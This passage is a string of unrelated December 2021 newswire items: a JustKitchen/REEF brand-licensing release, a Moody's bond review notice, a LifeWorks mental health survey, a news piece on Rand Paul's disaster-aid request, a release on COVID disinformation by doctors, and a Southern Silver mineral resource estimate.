just a great restaurant brand, but a pop culture phenomenon, to Asia. This is exactly the goal that our Company set out to accomplish to make this otherwise inaccessible food brand and its products available to the millions of followers of DJ Khaled in Taiwan and Hong Kong," said Jason Chen, Co-Founder and Chief Executive Officer of JustKitchen. "This brand participation partnership with REEF is commercially valuable to us. I am proud of our team for working hard to cement this initiative, which is a testament to our successful track record of licensing valuable global brands and bringing them to new audiences through JustKitchen's unique operating model," added Mr. Chen. Created in association with Grammy award-winning music producer DJ Khaled, Another Wing was launched by REEF in November. It is the first restaurant concept to ever have launched on three continents at one time. The Another Wing menu features boneless and bone-in wings, with seven flavours inspired by some of DJ Khaled's biggest catchphrases including but not limited to "Don't Quit Nashville Hot," "Un Un Un Believable Buffalo," "You Loyal! Lemon Pepper," "Honey! Honey! Hot Honey Sriracha," and "They Don't Want You To Win Buffalo." Story continues Inclusive of JustKitchen's locations in Taiwan and Hong Kong, these brands are being offered by REEF on four continents, from over 165 locations including the United States, the United Kingdom, Canada, France and the United Arab Emirates. DJ Khaled is a world-famous celebrity with a YouTube channel that has approximately 11.9 million subscribers and 5.6 billion total views to date. ABOUT REEF REEF transforms urban spaces into community hubs that create jobs and bring new goods, services and experiences to the neighborhood. With an ecosystem of 5,000 locations and a team that's over 18,000 strong, REEF is the largest operator of parking real estate and delivery restaurants in North America. By connecting the world to your block, we're making the place you live, the place you love to be. ABOUT JUSTKITCHEN JustKitchen is primarily an operator of ghost kitchens specializing in the development and marketing of proprietary and franchised delivery-only food brands for customers. The Company currently operates in Taiwan and Hong Kong with plans to expand operations to other Asian countries. JustKitchen uniquely utilizes a hub-and-spoke operating model, which features advanced food preparation taking place at larger hub kitchens and final meal preparation taking place at smaller spoke kitchens located in areas with higher population densities. The Company combines this operating model with online and mobile application-based food ordering fulfilled by third-party delivery companies, to minimize capital investments and operating expenses and reach more customers in underserved markets. The Company's other business, JustMarket, is an e-commerce grocery delivery platform that allows customers to purchase groceries for delivery or add select grocery items to meals ordered through JustKitchen. For more information about the Company, please visit investors.justkitchen.com. JustKitchen's final prospectus, financial statements and management's discussion and analysis, among other documents, are all available on the Company's profile page on SEDAR at www.sedar.com. Neither the TSXV nor its Regulation Services Provider (as that term is defined in the policies of the TSXV) accepts responsibility for the adequacy or accuracy of this release. FORWARD-LOOKING STATEMENTS This news release contains certain "forward-looking statements" within the meaning of such statements under applicable securities law. Forward-looking statements are frequently characterized by words such as "anticipates", "plan", "continue", "expect", "project", "intend", "believe", "anticipate", "estimate", "may", "will", "potential", "proposed", "positioned" and other similar words, or statements that certain events or conditions "may" or "will" occur including but not limited to the Company's comments regarding the rolling out of the Another Wing brand in multiple phases beginning with 16 of JustKitchen's locations in Taiwan in December followed by its two locations in Hong Kong in January; being the first company to introduce not just a great restaurant brand, but a pop culture phenomenon, to Asia; and making this otherwise inaccessible food brand and its products available to the millions of followers of DJ Khaled in Taiwan and Hong Kong. These statements are only predictions. Various assumptions were used in drawing the conclusions or making the projections contained in the forward-looking statements throughout this news release. Forward-looking statements are based on the opinions and estimates of management at the date the statements are made and are subject to a variety of risks, including those risk factors identified in the Company's prospectus dated March 26, 2021, and uncertainties and other factors that could cause actual events or results to differ materially from those projected in the forward-looking statements. The Company is under no obligation, and expressly disclaims any intention or obligation, to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as expressly required by applicable law. SOURCE Just Kitchen Holdings Corp. Cision View original content to download multimedia: http://www.newswire.ca/en/releases/archive/December2021/15/c2244.html Announcement of Periodic Review: Moody's announces completion of a periodic review of ratings of Maryland Economic Development Corporation's Taxable Lease Revenue Bonds (United States Department of Defense Laboratory for Telecommunications Science)Global Credit Research - 15 Dec 2021New York, December 15, 2021 -- Moody's Investors Service ("Moody's") has completed a periodic review of the ratings of Maryland Economic Development Corporation's Taxable Lease Revenue Bonds (United States Department of Defense Laboratory for Telecommunications Science) and other ratings that are associated with the same analytical unit. The review was conducted through a portfolio review discussion held on 8 December 2021 in which Moody's reassessed the appropriateness of the ratings in the context of the relevant principal methodology(ies), recent developments, and a comparison of the financial and operating profile to similarly rated peers. The review did not involve a rating committee. Since 1 January 2019, Moody's practice has been to issue a press release following each periodic review to announce its completion.This publication does not announce a credit rating action and is not an indication of whether or not a credit rating action is likely in the near future. Credit ratings and outlook/review status cannot be changed in a portfolio review and hence are not impacted by this announcement. For any credit ratings referenced in this publication, please see the ratings tab on the issuer/entity page on www.moodys.com for the most updated credit rating action information and rating history.Key rating considerations are summarized below.The A1 rating on the Maryland Economic Development Corporation's Taxable Lease Revenue Bonds (United States Department of Defense Laboratory for Telecommunications Science), Series 2003 incorporates the strength of the obligation of the United States of America (Aaa), on behalf of the US Department of Defense, to make lease rental payments, subject to appropriation by the US Congress. The A1 also incorporates the federal government's indirect connection to the debt financing, resulting in more complex cash flow mechanics and additional risk of late lease payments due to administrative disruption. This transaction has a history of late October lease payments to the sinking fund (the first payment in the federal fiscal year), which reflects a mechanical and governance weakness. However, all lease payments have been timely for the past 3 years and no semi-annual debt service payments were ever disrupted. Overall, this transaction benefits from a reliable cash flow structure and strong lease terms and structure.This document summarizes Moody's view as of the publication date and will not be updated until the next periodic review announcement, which will incorporate material changes in credit circumstances (if any) during the intervening period.The principal methodology used for this review was Lease, Appropriation, Moral Obligation and Comparable Debt of US State and Local Governments Methodology published in November 2021. Please see the Rating Methodologies page on www.moodys.com for a copy of this methodology.This announcement applies only to EU rated, UK rated, EU endorsed and UK endorsed ratings. Non EU rated, non UK rated, non EU endorsed and non UK endorsed ratings may be referenced above to the extent necessary, if they are part of the same analytical unit.This publication does not announce a credit rating action. For any credit ratings referenced in this publication, please see the ratings tab on the issuer/entity page on www.moodys.com for the most updated credit rating action information and rating history. Baye Larsen Lead Analyst State Ratings Moody's Investors Service, Inc. One Stamford Plaza 263 Tresser Boulevard Stamford 06901 JOURNALISTS: 1 212 553 0376 Client Service: 1 212 553 1653 Timothy Blake MANAGING DIRECTOR MSPG JOURNALISTS: 1 212 553 0376 Client Service: 1 212 553 1653 Releasing Office: Moody's Investors Service, Inc. 250 Greenwich Street New York, NY 10007 U.S.A JOURNALISTS: 1 212 553 0376 Client Service: 1 212 553 1653 2021 Moodys Corporation, Moodys Investors Service, Inc., Moodys Analytics, Inc. and/or their licensors and affiliates (collectively, MOODYS). All rights reserved.CREDIT RATINGS ISSUED BY MOODY'S CREDIT RATINGS AFFILIATES ARE THEIR CURRENT OPINIONS OF THE RELATIVE FUTURE CREDIT RISK OF ENTITIES, CREDIT COMMITMENTS, OR DEBT OR DEBT-LIKE SECURITIES, AND MATERIALS, PRODUCTS, SERVICES AND INFORMATION PUBLISHED BY MOODYS (COLLECTIVELY, PUBLICATIONS) MAY INCLUDE SUCH CURRENT OPINIONS. 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LifeWorks Mental Health Index reveals concerns about accessibility and confidentiality as barriers to Australians leveraging employer-funded mental-health services MELBOURNE, Australia, December 15, 2021--(BUSINESS WIRE)--LifeWorks, a leading provider of digital and in-person total wellbeing solutions, today released its monthly Mental Health Index, revealing a negative mental-health score among Australians for the 20th consecutive month. Key findings: Overall mental-health score of -12.2 compared to the pre-pandemic benchmark, a slight decline from the previous month (-11.8 in October). The mental-health score of managers (-11.2) has improved from the previous month (-11.7 in October) while the mental-health score of non-managers (-12.3) has declined (-11.2 in October). While the acceptance of digital and video mental-health support is high, almost half of working Australians have a preference for in-person mental-health support: Thirty-eight per cent of Australians report in-person support with a counsellor as their preferred modality for mental-health support and another 10 per cent prefer a combination of in-person and digital support. Twenty-eight per cent of Australians have no preference for the modality (digital, video or in-person) of mental-health support. Comments from senior vice-president and managing director, Australia and Asia-Pacific APAC, Jamie MacLennan "While digital and video mental-health options have been essential to supporting Australians during the pandemic, our data indicates that employees have different preferences and needs in terms of how to access support. Providing a range of modality methods to ensure employees are able to access the services and resources in a way that best suits their individual needs is key to supporting employee wellbeing effectively in the short and long term. The flexibility provided by a range of modalities is also consistent with the flexibility that many companies are offering staff in the new post-COVID working arrangements." Story continues Working Australians cite concerns about accessibility and confidentiality as barriers to leveraging employer-funded mental health services: Sixteen per cent of individuals indicate concerns about confidentiality as their reasoning for not leveraging employer-funded mental-health services. This group has a mental-health score of -23.8, more than 11 points below the national average. Ten per cent of Australians indicate that they are not leveraging employer-funded mental health services because they are unclear on how to access support. This group has a mental-health score of -21.0, nearly nine points below the national average. Comments from global leader and senior vice president, research and total wellbeing, Paula Allen "While the majority do not see barriers to getting help from employer-funded mental-health services, the ones noted by those who do, shows that there is still work to do in communicating how these services work. Confidentiality is a cornerstone of employee assistance programs (EAP) and there is no cost to the employee nor members of their family. Also, these services are accessible 24 hours a day, each and every day. The course of many lives has been positively changed by EAPs. I hope that anyone in need reaches out and is not dissuaded by false assumptions, nor lack of information." The full Australian LifeWorks Mental Health Index report can be found here. This month, the report includes additional insights on the impact of the pandemic on personal lives, the correlation between emergency savings and mental health and more. About the Mental Health Index The monthly survey by LifeWorks was conducted through an online survey from November 9 and 22, 2021, with 1,000 respondents in Australia. All respondents reside in Australia and were employed within the last six months. The data has been statistically weighted to ensure the regional and gender composition of the sample reflect this population. The Mental Health Index is published monthly, beginning April 2020, and compares against benchmark data collected in 2017, 2018, 2019. About LifeWorks LifeWorks is a world leader in providing digital and in-person solutions that support the total wellbeing of individuals. We deliver a personalized continuum of care that helps our clients improve the lives of their people and by doing so, improve their business. ID-CORP, ID-MH, ID-AUS View source version on businesswire.com: https://www.businesswire.com/news/home/20211215006026/en/ Contacts Heather MacDonald LifeWorks media@lifeworks.com 0011-1-855-622-3327 Angela Pinzon Kaiser & Partners angela.pinzon@kaiserlachance.com 0011-1-647-295-0517 Republican Sen. Rand Paul is catching flak for requesting federal aid for his home state of Kentucky after the severe weather that flattened towns and killed dozens of people this past weekend. The combative libertarian has long opposed giving federal aid to states that experience severe weather like the tornadoes that ripped through parts of the South and Midwest, arguing that any funds provided by the government should be offset by cuts elsewhere in the federal budget. In 2013, for example, Paul voted against federal aid for states in the Northeast struck by Hurricane Sandy. I would have given them nine billion and I would've taken the nine billion from somewhere else, Paul said at the time. I would have taken it from foreign aid and said you know what, we don't have money for Egypt or Pakistan this year because we have to help the Northeast. But now, with his state facing hundreds of millions and perhaps billions of dollars in damages, Paul has changed his tune, sending a letter to the White House in support of Kentucky Gov. Andy Beshears request for federal aid. While Paul asked for expeditious approval of the request, he made no mention of offsetting the cost through cuts elsewhere in the budget, nor did he offer a discussion of the perils of using someone else's money to provide aid, as he did when Congress was trying to assist Texas, Louisiana, Florida and Puerto Rico after hurricanes in 2017. Critics were quick to highlight Pauls about-face. One almost feels guilty pointing out the hypocrisy of people like Paul, because it's just so easy, says Michael Hiltzik of The Los Angles Times, adding that Republican posturing against disaster aid for thee, but not for me is a hardy perennial on Capitol Hill. In an op-ed Tuesday, liberal economist Paul Krugman argues Pauls hypocrisy runs deeper than flip-flopping on disaster aid. Red states are often led by politicians who preach self-reliance and austerity, but are in fact heavily subsidized by wealthier states. According to data from the Rockefeller Institute, Kentucky receives $14,000 per capita more in federal benefits than it pays in taxes. To put this in perspective, Kentuckys 2019 net inflow of federal funds $63 billion was roughly 30 percent of the states G.D.P. that year, Krugman writes. Story continues The problem, though, isnt that Kentucky runs a deficit with respect to federal payments. According to Krugman, the problem lies in the political game some Red-state politicians play as they seek to delegitimize government spending while happily accepting the benefits: As a lower-income state, Kentucky receives the full benefit of federal programs like Medicare, but pays relatively little in income or payroll taxes, so it gets much more than it pays in. And that is actually how the social safety net is supposed to work. We want individuals who for whatever reason are hurting financially to receive support from the more fortunate, which necessarily implies large transfers from rich states like New Jersey to lower-income states like Kentucky. Whats not OK is when states that are huge net beneficiaries of progressive taxation and the social safety net preen and posture about self-reliance and the evils of big government. Its even worse when they assert some kind of moral superiority over the metropolitan areas that pay their bills. Like what you're reading? Sign up for our free newsletter. Poll: Nine in 10 Americans say doctors should be held accountable for COVID-19 disinformation Report cover Cover of "Disinformation Doctors: Licensed to Mislead Cover of "Disinformation Doctors: Licensed to Mislead Bethesda, Maryland, Dec. 15, 2021 (GLOBE NEWSWIRE) -- A report released today urges state medical licensing bodies to investigate doctors who are deliberately spreading misleading or false COVID-19 information. And a majority of the public agree: 9 in 10 Americans say doctors who intentionally spread misinformation about COVID-19 should be held accountable, according to a new national poll conducted by Morning Consult for the de Beaumont Foundation. In the report, Disinformation Doctors: Licensed to Mislead, public health advocates No License for Disinformation and the de Beaumont Foundation offer an expert analysis on a path forward to counter doctors attacks on science and medicine and prevent unnecessary COVID-19 deaths. The report argues that state medical boards have the grounds under states Medical Practice Acts to take disciplinary action against doctors who are deliberately spreading disinformation. But almost two years into the pandemic, they have largely failed to take action. A small but vocal minority of physicians are exploiting the credibility that comes with their medical licenses to disseminate disinformation to both their patients and the public, said Nick Sawyer, MD, MBA, FACEP, an emergency room physician and executive director of No License for Disinformation. The trust that our patients and the public instill in doctors is paramount; and state medical boards are undermining that trust by failing to hold these doctors accountable for their dangerous and deceptive actions. Misinformation is a public health crisis, and disinformation doctors are making it worse, said Brian C. Castrucci, DrPH, president and chief executive officer of the de Beaumont Foundation. Lives are at stake. State medical boards have the ability and the responsibility to counter the spread of misinformation by taking real action against the biggest offenders. Story continues Earlier this year, the Federation of State Medical Boards issued a rare public warning that physicians who spread COVID-19-related misinformation risk disciplinary action. But despite the Federations strongly worded guidance, in the five months since the statement was issued, only a handful of doctors have faced any consequences. Misinformation and disinformation have been widely reported throughout the pandemic. The Disinformation Doctors report details examples of statements by licensed physicians who are intentionally and publicly spreading COVID-19 disinformation in social media posts, websites, live and virtual conferences, podcasts, interviews, news reports and public testimony and without apparent consequence. For example, when a doctor in Ohio falsely testified before a state health panel that the COVID vaccine caused magnetism in the human body, not only was she not reprimanded for her false public statements, but her medical license was automatically renewed just months later despite having ongoing investigations and/or complaints issued against her, according to a license renewal application obtained through a public records request. In a recent survey of the Federation of State Medical Boards 70 state medical board members, more than two-thirds reported an uptick in complaints, and yet just 12 medical boards reported taking any disciplinary action against a doctor for spreading false or misleading information. The Federation has not clarified what disciplinary actions have been taken. In response to this overall failure to act, the Disinformation Doctors report outlines the following concrete actions that should be taken by state medical boards and the regulatory entities that oversee them to prevent doctors from continuing to spread dangerous COVID-related disinformation: Deliver sunlight and accountability: Increase transparency and improve oversight. End the complacency: Medical boards should be explicitly authorized to take proactive action in the interest of public health. Create a uniform reporting process: Standardize entities required to report to state medical boards. Give complaints the urgency they deserve: Standardize expedited timelines to process complaints in the domain of public health. Bring disclaimers into the 21st century: Boards should establish, enhance, and enforce disclaimers around non-medical advice, particularly for digital communications. Work with watchdogs: Curate public-private partnerships for proactive monitoring and investigation. Compel detailed disclosures: Establish consistent public reporting requirements. To read the full report, visit www.disinformationdoctors.com. About the de Beaumont Foundation The de Beaumont Foundation creates and invests in bold solutions that improve the health of communities across the country. Its mission is to advance policy, build partnerships, and strengthen public health to create communities where everyone can achieve their best possible health. For more information, visit www.debeaumont.org. About No License for Disinformation No License for Disinformation is a non-partisan grassroots coalition of physicians, nurses, allied health professionals, disability advocates, parents, and concerned citizens who came together during the pandemic to protect the public from the threat of medical disinformation. Its mission is to urge state medical boards to hold physicians and health care professionals accountable for spreading medical disinformation and violating their professional oath. For more information, visit www.nolicensefordisnformation.org. Attachments CONTACT: Mark Miller de Beaumont Foundation miller@debeaumont.org Vancouver, British Columbia--(Newsfile Corp. - December 15, 2021) - Southern Silver Exploration Corp. (TSXV: SSV) ("Southern") reported today that it has filed a technical report ("Report") prepared in accordance with Canadian Securities Administrators' National Instrument 43-101. The Report may be found under the Company's profile at www.sedar.com and on Southern's website, www.southernsilverexploration.com . The Report, dated December 13th, 2021, entitled "NI 43-101 Technical Report, Mineral Resource Estimate for Cerro Las Minitas Project, Durango State, Mexico " was prepared by Garth D. Kirkham, P.Geo. and Arthur Barnes, P.Eng., FSAIMM, following the guidelines of NI 43-101 and NI 43-101F1. The updated Mineral Resource estimate features increased sulphide resources from two new mineral deposits, a small oxide resource in one of the new deposit areas and an update of the previously reported deposits utilizing new metal pricing and metallurgical recoveries. Resource reporting now utilizes a Net Smelter Return ("NSR") cut-off and reports average grades on a AgEq, ZnEq and $US/t NSR basis. The Report supports the disclosure made by the Company in its news release dated October 27, 2021, "Southern Silver Increases Mineral Resource at Cerro Las Minitas to: Indicated 137Mozs AgEq or 2.3Blbs ZnEq: 42.1Mozs Ag, 358Mlbs Pb, and 895Mlbs Zn; and Inferred 198Mozs AgEq or 3.3Blbs ZnEq: 73.6Mozs Ag, 500Mlbs Pb, and 1,009Mlbs Zn." There are no material differences in the mineral resources contained in the Report from those disclosed in the October 27, 2021 news release. Cerro Las Minitas Resource Model Highlights: The 2021 update, at a US$60/t NSR cut-off, features: Indicated Mineral Resources - 137 million ounces silver equivalent or 2.3 billion pounds zinc equivalent from 12.3 million tonnes averaging 106g/t Silver, 0.1g/t Gold, 0.2% Copper, 1.3% Lead and 3.3% Zinc (347g/t AgEq; 8.4% ZnEq) equalling a US$130/t NSR value, containing: Story continues 42.1 million ounces of silver; 28 thousand ounces of gold; 44 million pounds of copper, 358 million pounds of lead; and 895 million pounds of zinc. Inferred Mineral resources - 198 million ounces silver equivalent or 3.3 billion pounds zinc equivalent from 19.6 million tonnes averaging 117g/t Silver, 0.1g/t Gold, 0.2% Copper, 1.2% Lead and 2.3% Zinc (314g/t AgEq; 7.6% ZnEq) equalling a US$123/t NSR value containing: 73.6 million ounces of silver; 78 thousand ounces of gold; 98 million pounds of copper, 500 million pounds of lead; and 1,009 million pounds of zinc (1Blbs Zn). The new Resource Estimate incorporates an additional 20,991 metres of core drilling completed in 2020-21, updated metal recoveries and pricing and the incorporation of over 1,127 metres of specific gravity ("SG") measurements. Table 1: Base-case Sulphide Mineral Resource Estimate for CLM Project Utilizing a US$60/t NSR cut-off value: Indicated Resources Average Grade Zone Tonnes Ag Au Pb Zn Cu AgEq ZnEq NSR (Kt) (g/t) (g/t) (%) (%) (%) (g/t) (%) (US$/t) Blind Zone 2,347 97 0.04 1.9 2.1 0.11 295 7.2 108 El Sol Zone 1,154 80 0.04 2.2 2.0 0.09 279 6.8 100 Skarn Front Zone 7,254 108 0.06 0.8 4.2 0.19 383 9.3 140 La Bocona Zone 1,571 132 0.19 2.2 1.6 0.17 302 7.3 136 Total 12,325 106 0.07 1.3 3.3 0.16 347 8.4 130 Inferred Resources Average Grade Zone Tonnes Ag Au Pb Zn Cu AgEq ZnEq NSR (Kt) (g/t) (g/t) (%) (%) (%) (g/t) (%) (US$/t) Blind Zone 1,347 83 0.14 1.4 1.8 0.06 248 6.0 88 El Sol Zone 863 65 0.03 1.8 2.3 0.05 263 6.4 90 Las Victorias Zone 1,083 148 0.66 2.1 2.6 0.14 431 10.5 145 Skarn Front Zone 11,466 115 0.05 0.7 2.7 0.32 318 7.7 126 South Skarn Zone 3,789 140 0.18 2.0 1.3 0.09 309 7.5 130 La Bocona Zone 1,057 106 0.20 1.3 2.2 0.18 293 7.1 117 Total 19,605 117 0.12 1.2 2.3 0.23 314 7.6 123 Indicated Resources Contained Metal Zone Tonnes Ag TrOz Au TrOz Pb Zn Cu AgEq TrOz ZnEq Lbs (Kt) (000's) (000's) (Mlbs) (Mlbs) (Mlbs) (000's) (Mlbs) Blind Zone 2,347 7,350 3 99 109 5.5 22,291 371 El Sol Zone 1,154 2,956 2 55 51 2.2 10,337 172 Skarn Front Zone 7,254 25,106 14 126 678 30.7 89,421 1,490 La Bocona Zone 1,571 6,688 10 77 56 6.0 15,275 255 Total 12,325 42,100 28 358 895 44 137,323 2,288 Inferred Resources Contained Metal Zone Tonnes Ag TrOz Au TrOz Pb Zn Cu AgEq TrOz ZnEq Lbs (Kt) (000's) (000's) (Mlbs) (Mlbs) (Mlbs) (000's) (Mlbs) Blind Zone 1,347 3,582 6 40 55 2 10,749 179 El Sol Zone 863 1,816 1 35 43 1 7,283 121 Las Victorias Zone 1,083 5,152 23 51 62 3 15,006 250 Skarn Front Zone 11,466 42,462 18 177 687 80 117,065 1,951 South Skarn Zone 3,789 17,007 22 167 112 7 37,660 628 La Bocona Zone 1,057 3,589 7 30 51 4 9,950 166 Total 19,605 73,610 78 500 1,009 98 197,712 3,295 1) The current Resource Estimate was prepared by Garth Kirkham, P.Geo., of Kirkham Geosystems Ltd. 2) All mineral resources have been estimated in accordance with Canadian Institute of Mining and Metallurgy and Petroleum ("CIM") definitions, as required under National Instrument 43-101 ("NI43-101"). 3) Mineral resources were constrained using continuous mining units demonstrating reasonable prospects of eventual economic extraction. 4) Silver Equivalents were calculated from the interpolated block values using relative recoveries and prices between the component metals and silver to determine a final AgEq value. The same methodology was used to calculate the ZnEq value. 5) Silver Equivalents and NSR$/t values were calculated using average long-term prices of $20/oz. silver, $1,650/oz. gold, $3.25/lb. copper, $1.0/lb. lead and $1.20/lb. zinc. Metal recoveries, payables and deductions are reported in Table 1. All prices are stated in $USD. 6) Mineral resources are not mineral reserves until they have demonstrated economic viability. Mineral resource estimates do not account for a resource's mineability, selectivity, mining loss, or dilution. 7) An Inferred Mineral Resource has a lower level of confidence than that applying to an Indicated Mineral Resource and must not be converted to a Mineral Reserve. It is reasonably expected that the majority of Inferred Mineral Resources could be upgraded to Indicated Mineral Resources with continued exploration. 8) All figures are rounded to reflect the relative accuracy of the estimate and therefore numbers may not appear to add precisely. Oxide Resources A small oxide resource was identified within the upper 100 metres of surface in the La Bocona zone. The 2021 oxide resources at a US$60/t cut-off are: An Indicated Mineral resource totalling 65,000 tonnes averaging 28g/t Ag and 2.2 g/t Au equalling a US$93/t NSR value, containing: 58,000 ounces of silver and 4,500 ounces of gold. An Inferred Mineral resource totalling 219,000 tonnes averaging 120g/t Ag and 0.8g/t Au equalling a US$88/t NSR value, containing: 844,000 ounces of silver and 5,600 ounces of gold A 74% silver recovery was utilized in the resource model and was based on acid-leach test work conducted on samples from the Blind - El Sol zone. Gold recovery has been estimated at 70% for the purposes of this report. Further metallurgical test work is required to confirm the gold recovery from the La Bocona oxides. Table 2: Base-case Oxide Mineral Resource Estimate for CLM Project Utilizing a US$60/t NSR cut-off value: Average Grade Contained Metal La Bocona Tonnes Ag Au NSR Ag TrOz Au TrOz (kt) (g/t) (g/t) (US$/t) (koz) (koz) Indicated 65 28 2.2 93 58 4.5 Inferred 219 120 0.8 88 844 5.6 Notes: The $60/t NSR cut-off value was calculated using average long-term prices of $20/oz. silver, $1,650/oz. gold. Base metals were not recovered in the leach circuit. Metallurgical work from batch test work recovered 74% silver from oxidized composites from the Blind - El Sol zones. Gold recovery was not assessed and is estimated at 70% for the purposes of this report. This work, along with marketing studies, were used to decide the NSR cut-off value. All prices are stated in $USD. Cerro Las Minitas Project Highlights: The updated NI43-101 Mineral Resource estimate significantly increases the size of the resource on a tonnage basis by approximately 33%, with most of the increase resulting from the addition and delineation of the La Bocona and the South Skarn deposits; The Mineral Resource update features a significant increase in contained silver in both the indicated and inferred categories which now total Indicated: 42.1Mozs Silver and Inferred: 73.6 Mozs Silver representing an approximate 38% increase from the 2019 resource estimate; The new deposits have a much stronger Silver-Lead bias resulting in generally higher overall NSR values for the South Skarn and the Indicated component of the La Bocona resource estimates compared to previous resource estimates. Similarly, silver maintains a higher proportion of the overall metal content of the deposits than in earlier estimates; Higher grade portions of the new resources are relatively shallow and occur within 300 metres of surface which could potentially benefit future mining scenarios; Gold recovery is currently not considered in the sulphide NSR calculation. Further metallurgical work is planned to assess gold recoveries in both the sulphide and oxidized mineralization; Mineralization in both the South Skarn and Mina La Bocona deposits remains open at depths below 500 metres, leaving additional exploration potential. Several other targets remain un-tested or poorly-tested in the area of the Cerro and will form the basis for further exploration on the project through 2022; This new Mineral Resource estimate will now form the basis for a Preliminary Economic Assessment ("PEA"), which is expected to be completed by Q2 2022; and Modelled Deposits Six separate mineral deposits were modelled in the resource estimate, four deposits in 2019 and two in 2021. The Blind, El Sol and Las Victorias deposits form sets of sub-parallel, northwest-trending and steeply dipping mineralized zones which are traced for over 1300 metres strike and up to 600 metres depth. The Skarn Front forms beneath the Blind, El Sol and Las Victorias deposits and is localized on the outer edge of the skarn alteration zone surrounding the Central Monzonite Intrusion and has been drilled along an approximate 1100 metre strike length and to depths of up to 1000 metres. Similarly, the South Skarn Zone is localized on the outer edge of the skarn alteration zone surrounding the Central Monzonite Intrusion, but on the eastern side. The deposit forms a tabular, steeply east-dipping body that has a strike length of approximately 350m and has been drilled to a depth of 500m. The Bocona Zone consists of two separate sub-zones - the Bocona Skarn Zone and the Muralla Zone. The Bocona Skarn Zone is also localized on the outer edge of the skarn alteration zone surrounding the Central Monzonite Intrusion, but on the North side, wrapping around the Northeastern Margin. The upper part of the Muralla zone is strongly oxidized and is the basis of the quoted oxide resource. Mineral Resource Estimate Parameters for the South Skarn and Bocona Zones The estimate was carried out using separate block models for the Bocona and South Skarn Zones constrained by 3D wireframes of the individual mineralized zones. The block model is comprised of an array of blocks measuring 10m x 3m x 10m which are sub-blocked to 0.5m x 0.3m x 0.5m, with grades for Ag, Au, Cu, Pb and Zn interpolated using Inverse Distance to the Second Power (ID2) weighting. NSR/t, silver equivalent and zinc equivalent values were subsequently calculated from the interpolated block grades. The interpolation was carried out in two passes using progressively larger search radii of 60m x 60m x 30m to a maximum of 100m x 100m x 50m for all zones with the exception of the La Bocona Skarn zone where the second pass was limited to 60m x 15m x 25m at an orientation of 60 degrees perpendicular to strike and -80 degrees down dip. The first pass was restricted to a minimum of 2 and a maximum of 12 composites, with a maximum of 4 composites from any one drill hole (i.e. a minimum of two drill holes required for >4 composites) while the second pass was more restrictive using a minimum of 3 and a maximum of 9 composites, with a maximum of 3 composites from any one drill hole. Bulk densities at La Bocona were based on a total of 418 sample interval measurements taken by Southern field personnel. For each sample interval, sub-samples were taken from each individual length of core and the weighted average for the sample used. Density values ranged from 1.9 t/m 3 to 4.73 t/m 3 . Bulk densities at Skarn South were based on a total of 387 sample interval measurements where density values ranged from 1.51 t/m 3 to 4.35 t/m 3 . Density values were interpolated on a block-by-block basis using an inverse distance to the second power. An average value of 2.97 t/m3 was assigned to blocks that were not interpolated. Silver composite values have been capped in order to remove the effects of potential overestimation due to statistical outliers. The threshold chosen was 700 g/t silver for both La Bocona and South Skarn. In addition, outlier values for the co-product metals were capped at the threshold levels of 5 g/t gold, 1.4% copper, 15% lead and 10% zinc at La Bocona and 2.5 g/t gold, 0.5% copper, 15% lead and 8% zinc at South Skarn, respectively. The mineralized zones were initially defined by Southern personnel and subsequently validated and refined by KGL. The mineralized wire frames were defined using a combination of geological constraints and grade boundaries with no minimum mining thickness applied. Intervals that were not sampled were assigned a zero grade. For all zones, blocks are classified as Inferred if they are included within 75m of at least one drill hole intercept. Blocks within 40m of the nearest intercept, and estimated by at least two drill holes were classified as Indicated. However, an interpreted boundary is the final determination of indicated and inferred resources in order to remove outlier blocks and the "spotted dog" effect. In addition, continuous potentially underground mining panels were created to demonstrate "reasonable prospect of eventual economic extraction." Mineral Resources that are not Mineral Reserves do not have demonstrated economic viability. Inferred Resources are considered too speculative geologically to have economic considerations applied to them that would enable them to be classified as Mineral Reserves. An Inferred Mineral Resource has a lower level of confidence than that applying to an Indicated Mineral Resource and must not be converted to a Mineral Reserve. It is reasonably expected that the majority of Inferred Mineral Resources could be upgraded to Indicated Mineral Resources with continued exploration. NSR Calculation Parameters The NSR values were calculated using average long-term prices of $20/oz. silver, $1,650/oz. gold, $3.25/lb. copper, $1.00/lb. lead and $1.20/lb. zinc. Metallurgical test work identified three saleable concentrates for the Skarn zones and two from the Blind, El Sol and Las Victorias zones (BESS). NSR values for each concentrate were calculated utilizing the parameters summarized in Table 1 and summed to determine a total NSR value for each block. Only silver and gold recoveries in dore were considered for the oxide NSR calculations. Gold was not recovered in the sulphide concentrates and is estimated at 70% in the oxide circuit for the purposes of this reporting. All prices are stated in $USD. Table 3: Variables considered in the NSR calculations for each concentrate. Sulfides Oxides Item Pb Concentrate Zn Concentrate Cu Conc. Ag-Au leach Skarn BESS Skarn BESS Skarn Pb Recovery 84% 90% Zn Recovery 95% 78% Cu Recovery 60% Ag Recovery 77% 79% 8% 12% 7% 74% Au Recovery 70% Payable Metals Pb, Ag Pb, Ag Zn, Ag Zn, Ag Cu, Ag Au, Ag Concentrate grade, (primary base metal) 65% 70% 54% 52% 27% Transport, Treatment, Penalty charges, $ dmt 230 267 358 364 183 Base metal Concentrate Grade Deduction 3 units 3 units 8 units 8 units 1 unit Ag Concentrate Grade Deduction, g/t 50 50 93 93 Ag Refining charge, $/oz 0.6 0.6 0.4 Base metal Refining, $/lb 0.107 Ag payable 90% Qualified Persons The independent Qualified Persons for the Technical Report are Garth Kirkham, P.Geo., Principal, Kirkham Geosystems Ltd and Arthur Barnes P.Eng., FSAIMM, Principal, MPC Metallurgical Process Consultants Limited, who have reviewed and approved the contents of this release. In accordance with National Instrument 43-101 Standards of Disclosure for Mineral Projects, Robert Macdonald, P.Geo, Vice President Exploration, is the Qualified Person for the Company and has validated and approved the technical and scientific content of this news release. Risk Factors Southern Silver is aware this project is subject to the same types of risks that large precious and base metal projects experience at an early stage of development in Mexico. The Company has engaged experienced management and specialized consultants to identify, manage and mitigate those risks. However, the types of risks will change as the project evolves and more information becomes available. About Southern Silver Exploration Corp. Southern Silver Exploration Corp. is an exploration and development company with a focus on the discovery of world-class mineral deposits. Our specific emphasis is the 100% owned Cerro Las Minitas silver-lead-zinc project located in the heart of Mexico's Faja de Plata, which hosts multiple world-class mineral deposits such as Penasquito, San Martin, Naica and Pitarrilla. We have assembled a team of highly experienced technical, operational and transactional professionals to support our exploration efforts in developing the Cerro Las Minitas project into a premier, high-grade, silver-lead-zinc mine. The Company's property portfolio also includes the Oro porphyry copper-gold project located in southern New Mexico, USA, which includes patented land, State leases and BLM mineral claims totalling 22.3 sq. km. Targeting has been finalized and 